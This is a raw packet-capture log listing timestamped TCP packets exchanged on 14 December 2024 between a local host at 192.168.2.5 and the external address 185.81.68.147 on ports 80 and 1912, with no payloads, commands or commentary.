Dec 14, 2024 14:56:34.120311022 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.121273041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.125924110 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.125955105 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.126007080 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.126065969 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.126097918 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.126457930 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.126490116 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.127041101 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.211429119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.251518965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.251723051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.251775026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.251907110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.251929045 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.252022028 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.253142118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.253194094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.253268957 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.254185915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.254283905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.255373955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.255454063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.255481958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.256386042 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.256525993 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.256654978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.256710052 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.257716894 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.257863998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.257917881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.258888006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.259001017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.260070086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.260138035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.260189056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.260582924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.261245966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.261354923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.261405945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.262435913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.262559891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.262669086 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.263647079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.263783932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.264576912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.264858961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.264982939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.266007900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.266061068 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.266133070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.267165899 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.267220974 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.267286062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.267353058 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.268358946 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.268450975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.268517971 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.269542933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.269654989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.269706964 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.270694971 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.270814896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.270868063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.271900892 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.272006035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.272589922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.273061991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.273176908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.274272919 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.274328947 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.274389982 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.275435925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.275494099 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.275557995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.276590109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.276632071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.276726961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.276778936 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.277847052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.277995110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.278048038 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.279114962 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.279196978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.279692888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.280217886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.280271053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.281347990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.281414986 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.281475067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.282567024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.282634020 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.282692909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.282742977 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.283730984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.283875942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.283945084 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.284936905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.285027027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.285087109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.286137104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.286247969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.286351919 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.287269115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.287384033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.287456989 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.288450003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.288605928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.289633989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.289697886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.289741039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.290826082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.290904045 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.290946007 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.290993929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.292064905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.292213917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.292277098 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.293184042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.293323040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.293385029 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.294385910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.294511080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.295542002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.295599937 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.295675039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.296623945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.296753883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.296865940 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.296921015 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.297924995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.298002958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.298057079 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.299149036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.299254894 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.299330950 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.300313950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.300503969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.300556898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.301476955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.301593065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.302654028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.302720070 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.302778006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.303801060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.303865910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.303936005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.303987980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.305098057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.305217981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.305280924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.305425882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.306205988 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.306333065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.306387901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.307410002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.307502031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.307600975 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.308650017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.308749914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.309736013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.309808016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.309854984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.310935974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.310993910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.311065912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.311120033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.312118053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.312222004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.312288046 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.313586950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.443753958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.443861008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.444084883 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.444363117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.444399118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.444586039 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.445482969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.445692062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.445904016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.446950912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.447004080 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.447082043 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.447895050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.447985888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.448044062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.449105024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.449162960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.449239969 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.450330019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.450412035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.450470924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.451411009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.451545000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.451601028 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.452596903 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.452682018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.452738047 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.453813076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.453911066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.453933954 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.455079079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.455136061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.455177069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.456152916 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.456219912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.456274033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.457314014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.457451105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.457501888 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.458519936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.458622932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.458674908 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.459718943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.459769011 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.459836006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.460880995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.460998058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.461051941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.462265015 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.462321043 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.462390900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.463255882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.463330030 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.463387966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.464454889 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.464526892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.464553118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.465678930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.465743065 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.465783119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.466811895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.466866016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.466947079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.467995882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.468050003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.468122959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.469177008 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.469237089 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.469300985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.470346928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.470422029 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.470475912 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.471534967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.471602917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.471678972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.472743034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.472800016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.473233938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.473915100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.473978996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.474019051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.475121975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.475173950 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.475235939 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.476300001 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.476355076 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.476412058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.477487087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.477544069 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.477596045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.478621960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.478678942 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.478739023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.479810953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.479867935 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.479943991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.480982065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.481040955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.481112003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.482166052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.482230902 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.482280016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.483362913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.483474970 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.483532906 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.484539986 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.484597921 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.484663963 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.485712051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.485841036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.485896111 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.486884117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.487082005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.487133980 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.488085985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.488138914 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.488198996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.489253044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.489306927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.489377975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.490447044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.490499020 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.490571022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.491683006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.491816998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.491885900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.492867947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.492988110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.493045092 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.494009972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.494144917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.494199991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.495243073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.495277882 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.495294094 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.496377945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.496484995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.496535063 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.497658014 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.497879028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.497929096 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.498785973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.498987913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.499038935 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.499937057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.499985933 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.500076056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.501144886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.501272917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.501321077 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.502331972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.502388954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.502458096 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.503493071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.503629923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.503681898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.504690886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.504801035 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.504853964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.505757093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.505820036 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.579008102 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.594012976 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.635859013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.636126041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.636349916 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:34.636413097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:34.636491060 CET	80	49888	185.81.68.147	192.168.2.5
